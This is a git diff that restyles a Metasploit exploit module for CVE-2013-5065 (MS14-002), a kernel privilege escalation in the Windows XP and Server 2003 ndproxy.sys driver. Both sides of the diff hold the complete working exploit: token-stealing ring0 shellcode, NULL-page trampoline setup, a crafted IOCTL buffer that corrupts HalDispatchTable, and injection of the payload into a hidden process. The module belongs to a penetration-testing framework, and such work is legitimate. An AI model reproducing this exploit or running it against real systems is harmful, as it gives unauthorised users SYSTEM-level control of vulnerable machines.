diff --git a/modules/exploits/windows/local/ms_ndproxy.rb b/modules/exploits/windows/local/ms_ndproxy.rb index 4186b09a40..47cb9bc48e 100644 --- a/modules/exploits/windows/local/ms_ndproxy.rb +++ b/modules/exploits/windows/local/ms_ndproxy.rb @@ -15,10 +15,10 @@ class Metasploit3 < Msf::Exploit::Local include Msf::Post::Windows::Priv include Msf::Post::Windows::Process - def initialize(info={}) + def initialize(info = {}) super(update_info(info, { - 'Name' => 'MS14-002 Microsoft Windows ndproxy.sys Local Privilege Escalation', - 'Description' => %q{ + 'Name' => 'MS14-002 Microsoft Windows ndproxy.sys Local Privilege Escalation', + 'Description' => %q( This module exploits a flaw in the ndproxy.sys driver on Windows XP SP3 and Windows 2003 SP2 systems, exploited in the wild in November, 2013. The vulnerability exists while processing an IO Control Code 0x8fff23c8 or 0x8fff23cc, where user provided input is used @@ -26,31 +26,31 @@ class Metasploit3 < Msf::Exploit::Local pointer dereference which is exploitable on both Windows XP and Windows 2003 systems. This module has been tested successfully on Windows XP SP3 and Windows 2003 SP2. In order to work the service "Routing and Remote Access" must be running on the target system. - }, - 'License' => MSF_LICENSE, - 'Author' => + ), + 'License' => MSF_LICENSE, + 'Author' => [ 'Unknown', # Vulnerability discovery 'ryujin', # python PoC 'Shahin Ramezany', # C PoC 'juan vazquez' # MSF module ], - 'Arch' => ARCH_X86, - 'Platform' => 'win', - 'Payload' => + 'Arch' => ARCH_X86, + 'Platform' => 'win', + 'Payload' => { - 'Space' => 4096, + 'Space' => 4096, 'DisableNops' => true }, - 'SessionTypes' => [ 'meterpreter' ], - 'DefaultOptions' => + 'SessionTypes' => ['meterpreter'], + 'DefaultOptions' => { - 'EXITFUNC' => 'thread', + 'EXITFUNC' => 'thread' }, - 'Targets' => + 'Targets' => [ - [ 'Automatic', { } ], - [ 'Windows XP SP3', + ['Automatic', {}], + ['Windows XP SP3', { 'HaliQuerySystemInfo' => 0x16bba, # Stable over Windows XP SP3 updates '_KPROCESS' => "\x44", # Offset to _KPROCESS from a _ETHREAD struct @@ -59,7 +59,7 @@ class Metasploit3 < Msf::Exploit::Local '_APLINKS' => "\x88" # Offset to ActiveProcessLinks _EPROCESS struct } ], - [ 'Windows Server 2003 SP2', + ['Windows Server 2003 SP2', { 'HaliQuerySystemInfo' => 0x1fa1e, '_KPROCESS' => "\x38", @@ -69,40 +69,38 @@ class Metasploit3 < Msf::Exploit::Local } ] ], - 'References' => + 'References' => [ - [ 'CVE', '2013-5065' ], - [ 'MSB', 'MS14-002' ], - [ 'OSVDB' , '100368'], - [ 'BID', '63971' ], - [ 'EDB', '30014' ], - [ 'URL', 'http://labs.portcullis.co.uk/blog/cve-2013-5065-ndproxy-array-indexing-error-unpatched-vulnerability/' ], - [ 'URL', 'http://technet.microsoft.com/en-us/security/advisory/2914486'], - [ 'URL', 'https://github.com/ShahinRamezany/Codes/blob/master/CVE-2013-5065/CVE-2013-5065.cpp' ], - [ 'URL', 'http://www.secniu.com/blog/?p=53' ], - [ 'URL', 'http://www.fireeye.com/blog/technical/cyber-exploits/2013/11/ms-windows-local-privilege-escalation-zero-day-in-the-wild.html' ], - [ 'URL', 'http://blog.spiderlabs.com/2013/12/the-kernel-is-calling-a-zeroday-pointer-cve-2013-5065-ring-ring.html' ] + %w(CVE 2013-5065), + %w(MSB MS14-002), + %w(OSVDB 100368), + %w(BID 63971), + %w(EDB 30014), + %w(URL http://labs.portcullis.co.uk/blog/cve-2013-5065-ndproxy-array-indexing-error-unpatched-vulnerability/), + %w(URL http://technet.microsoft.com/en-us/security/advisory/2914486), + %w(URL https://github.com/ShahinRamezany/Codes/blob/master/CVE-2013-5065/CVE-2013-5065.cpp), + %w(URL http://www.secniu.com/blog/?p=53), + %w(URL http://www.fireeye.com/blog/technical/cyber-exploits/2013/11/ms-windows-local-privilege-escalation-zero-day-in-the-wild.html), + %w(URL http://blog.spiderlabs.com/2013/12/the-kernel-is-calling-a-zeroday-pointer-cve-2013-5065-ring-ring.html) ], - 'DisclosureDate'=> 'Nov 27 2013', - 'DefaultTarget' => 0 + 'DisclosureDate' => 'Nov 27 2013', + 'DefaultTarget' => 0 })) end def ring0_shellcode(t) restore_ptrs = "\x31\xc0" # xor eax, eax - restore_ptrs << "\xb8" + [ @addresses["HaliQuerySystemInfo"] ].pack("L") # mov eax, offset hal!HaliQuerySystemInformation - restore_ptrs << "\xa3" + [ @addresses["halDispatchTable"] + 4 ].pack("L") # mov dword ptr [nt!HalDispatchTable+0x4], eax + restore_ptrs << "\xb8" + [@addresses['HaliQuerySystemInfo']].pack('L') # mov eax, offset hal!HaliQuerySystemInformation + restore_ptrs << "\xa3" + [@addresses['halDispatchTable'] + 4].pack('L') # mov dword ptr [nt!HalDispatchTable+0x4], eax ring0_shellcode = restore_ptrs + token_stealing_shellcode(t) - return ring0_shellcode + ring0_shellcode end def fill_memory(proc, address, length, content) - - result = session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack("L"), nil, [ length ].pack("L"), "MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN", "PAGE_EXECUTE_READWRITE") - + session.railgun.ntdll.NtAllocateVirtualMemory(-1, [address].pack('L'), nil, [length].pack('L'), 'MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN', 'PAGE_EXECUTE_READWRITE') unless proc.memory.writable?(address) - vprint_error("Failed to allocate memory") + vprint_error('Failed to allocate memory') return nil end @@ -111,13 +109,13 @@ class Metasploit3 < Msf::Exploit::Local result = proc.memory.write(address, content) if result.nil? - vprint_error("Failed to write contents to memory") + vprint_error('Failed to write contents to memory') return nil else vprint_good("Contents successfully written to 0x#{address.to_s(16)}") end - return address + address end def create_proc @@ -125,14 +123,14 @@ class Metasploit3 < Msf::Exploit::Local cmd = "#{windir}\\System32\\notepad.exe" # run hidden begin - proc = session.sys.process.execute(cmd, nil, {'Hidden' => true }) + proc = session.sys.process.execute(cmd, nil, 'Hidden' => true) rescue Rex::Post::Meterpreter::RequestError # when running from the Adobe Reader sandbox: # Exploit failed: Rex::Post::Meterpreter::RequestError stdapi_sys_process_execute: Operation failed: Access is denied. return nil end - return proc.pid + proc.pid end def disclose_addresses(t) @@ -140,37 +138,36 @@ class Metasploit3 < Msf::Exploit::Local hal_dispatch_table = find_haldispatchtable return nil if hal_dispatch_table.nil? - addresses["halDispatchTable"] = hal_dispatch_table - vprint_good("HalDispatchTable found at 0x#{addresses["halDispatchTable"].to_s(16)}") + addresses['halDispatchTable'] = hal_dispatch_table + vprint_good("HalDispatchTable found at 0x#{addresses['halDispatchTable'].to_s(16)}") - vprint_status("Getting the hal.dll Base Address...") - hal_info = find_sys_base("hal.dll") + vprint_status('Getting the hal.dll Base Address...') + hal_info = find_sys_base('hal.dll') if hal_info.nil? - vprint_error("Failed to disclose hal.dll Base Address") + vprint_error('Failed to disclose hal.dll Base Address') return nil end hal_base = hal_info[0] vprint_good("hal.dll Base Address disclosed at 0x#{hal_base.to_s(16)}") hali_query_system_information = hal_base + t['HaliQuerySystemInfo'] - addresses["HaliQuerySystemInfo"] = hali_query_system_information + addresses['HaliQuerySystemInfo'] = hali_query_system_information - vprint_good("HaliQuerySystemInfo Address disclosed at 0x#{addresses["HaliQuerySystemInfo"].to_s(16)}") - return addresses + vprint_good("HaliQuerySystemInfo Address disclosed at 0x#{addresses['HaliQuerySystemInfo'].to_s(16)}") + addresses end def check - if sysinfo["Architecture"] =~ /wow64/i or sysinfo["Architecture"] =~ /x64/ + if sysinfo['Architecture'] =~ /wow64/i || sysinfo['Architecture'] =~ /x64/ return Exploit::CheckCode::Detected end - handle = open_device("\\\\.\\NDProxy", 0x0, 0x0, 0x3) - if handle.nil? - return Exploit::CheckCode::Safe - end + handle = open_device('\\\\.\\NDProxy', 0x0, 0x0, 0x3) + return Exploit::CheckCode::Safe if handle.nil? + session.railgun.kernel32.CloseHandle(handle) - os = sysinfo["OS"] + os = sysinfo['OS'] case os when /windows xp.*service pack 3/i return Exploit::CheckCode::Appears @@ -183,27 +180,26 @@ class Metasploit3 < Msf::Exploit::Local else return Exploit::CheckCode::Safe end - end def exploit - if sysinfo["Architecture"] =~ /wow64/i - fail_with(Failure::NoTarget, "Running against WOW64 is not supported") - elsif sysinfo["Architecture"] =~ /x64/ - fail_with(Failure::NoTarget, "Running against 64-bit systems is not supported") + if sysinfo['Architecture'] =~ /wow64/i + fail_with(Failure::NoTarget, 'Running against WOW64 is not supported') + elsif sysinfo['Architecture'] =~ /x64/ + fail_with(Failure::NoTarget, 'Running against 64-bit systems is not supported') end my_target = nil if target.name =~ /Automatic/ - print_status("Detecting the target system...") - os = sysinfo["OS"] + print_status('Detecting the target system...') + os = sysinfo['OS'] if os =~ /windows xp.*service pack 3/i my_target = targets[1] print_status("Running against #{my_target.name}") - elsif ((os =~ /2003/) and (os =~ /service pack 2/i)) + elsif (os =~ /2003/) && (os =~ /service pack 2/i) my_target = targets[2] print_status("Running against #{my_target.name}") - elsif ((os =~ /\.net server/i) and (os =~ /service pack 2/i)) + elsif (os =~ /\.net server/i) && (os =~ /service pack 2/i) my_target = targets[2] print_status("Running against #{my_target.name}") end @@ -212,96 +208,95 @@ class Metasploit3 < Msf::Exploit::Local end if my_target.nil? - fail_with(Failure::NoTarget, "Remote system not detected as target, select the target manually") + fail_with(Failure::NoTarget, 'Remote system not detected as target, select the target manually') end - print_status("Checking device...") - handle = open_device("\\\\.\\NDProxy", 0x0, 0x0, 0x3) + print_status('Checking device...') + handle = open_device('\\\\.\\NDProxy', 0x0, 0x0, 0x3) if handle.nil? - fail_with(Failure::NoTarget, "\\\\.\\NDProxy device not found") + fail_with(Failure::NoTarget, '\\\\.\\NDProxy device not found') else - print_good("\\\\.\\NDProxy found!") + print_good('\\\\.\\NDProxy found!') end - print_status("Disclosing the HalDispatchTable and hal!HaliQuerySystemInfo addresses...") + print_status('Disclosing the HalDispatchTable and hal!HaliQuerySystemInfo addresses...') @addresses = disclose_addresses(my_target) if @addresses.nil? session.railgun.kernel32.CloseHandle(handle) - fail_with(Failure::Unknown, "Filed to disclose necessary addresses for exploitation. Aborting.") + fail_with(Failure::Unknown, 'Failed to disclose necessary addresses for exploitation, aborting.') else - print_good("Addresses successfully disclosed.") + print_good('Addresses successfully disclosed.') end - - print_status("Storing the kernel stager on memory...") + print_status('Storing the kernel stager in memory...') this_proc = session.sys.process.open kernel_shell = ring0_shellcode(my_target) kernel_shell_address = 0x1000 result = fill_memory(this_proc, kernel_shell_address, kernel_shell.length, kernel_shell) if result.nil? session.railgun.kernel32.CloseHandle(handle) - fail_with(Failure::Unknown, "Error while storing the kernel stager shellcode on memory") + fail_with(Failure::Unknown, 'Error while storing the kernel stager shellcode on memory') else print_good("Kernel stager successfully stored at 0x#{kernel_shell_address.to_s(16)}") end - print_status("Storing the trampoline to the kernel stager on memory...") + print_status('Storing the trampoline to the kernel stager on memory...') trampoline = "\x90" * 0x38 # nops trampoline << "\x68" # push opcode - trampoline << [0x1000].pack("V") # address to push + trampoline << [0x1000].pack('V') # address to push trampoline << "\xc3" # ret trampoline_addr = 0x1 result = fill_memory(this_proc, trampoline_addr, trampoline.length, trampoline) if result.nil? session.railgun.kernel32.CloseHandle(handle) - fail_with(Failure::Unknown, "Error while storing trampoline on memory") + fail_with(Failure::Unknown, 'Error while storing trampoline on memory') else print_good("Trampoline successfully stored at 0x#{trampoline_addr.to_s(16)}") end - print_status("Storing the IO Control buffer on memory...") + print_status('Storing the IO Control buffer on memory...') buffer = "\x00" * 1024 - buffer[20, 4] = [0x7030125].pack("V") # In order to trigger the vulnerable call - buffer[28, 4] = [0x34].pack("V") # In order to trigger the vulnerable call + buffer[20, 4] = [0x7030125].pack('V') # In order to trigger the vulnerable call + buffer[28, 4] = [0x34].pack('V') # In order to trigger the vulnerable call buffer_addr = 0x0d0d0000 result = fill_memory(this_proc, buffer_addr, buffer.length, buffer) if result.nil? session.railgun.kernel32.CloseHandle(handle) - fail_with(Failure::Unknown, "Error while storing the IO Control buffer on memory") + fail_with(Failure::Unknown, 'Error while storing the IO Control buffer on memory') else print_good("IO Control buffer successfully stored at 0x#{buffer_addr.to_s(16)}") end - print_status("Triggering the vulnerability, corrupting the HalDispatchTable...") + print_status('Triggering the vulnerability, corrupting the HalDispatchTable...') magic_ioctl = 0x8fff23c8 # Values taken from the exploit in the wild, see references - ioctl = session.railgun.ntdll.NtDeviceIoControlFile(handle, 0, 0, 0, 4, magic_ioctl, buffer_addr, buffer.length, buffer_addr, 0x80) + session.railgun.ntdll.NtDeviceIoControlFile(handle, 0, 0, 0, 4, magic_ioctl, buffer_addr, buffer.length, buffer_addr, 0x80) session.railgun.kernel32.CloseHandle(handle) - print_status("Executing the Kernel Stager throw NtQueryIntervalProfile()...") - result = session.railgun.ntdll.NtQueryIntervalProfile(1337, 4) + print_status('Executing the Kernel Stager throw NtQueryIntervalProfile()...') + session.railgun.ntdll.NtQueryIntervalProfile(1337, 4) - print_status("Checking privileges after exploitation...") + print_status('Checking privileges after exploitation...') unless is_system? - fail_with(Failure::Unknown, "The exploitation wasn't successful") + fail_with(Failure::Unknown, 'The exploitation was not successful') end p = payload.encoded - print_good("Exploitation successful! Creating a new process and launching payload...") + print_good('Exploitation successful! Creating a new process and launching payload...') new_pid = create_proc if new_pid.nil? - print_warning("Unable to create a new process, maybe you're into a sandbox. If the current process has been elevated try to migrate before executing a new process...") + print_warning('Unable to create a new process, maybe you are in a sandbox. If the current process has been elevated try to migrate before executing a new process...') return end - print_status("Injecting #{p.length.to_s} bytes into #{new_pid} memory and executing it...") + print_status("Injecting #{p.length} bytes into #{new_pid} memory and executing it...") if execute_shellcode(p, nil, new_pid) - print_good("Enjoy") + print_good('Enjoy') else - fail_with(Failure::Unknown, "Error while executing the payload") + fail_with(Failure::Unknown, 'Error while executing the payload') end end end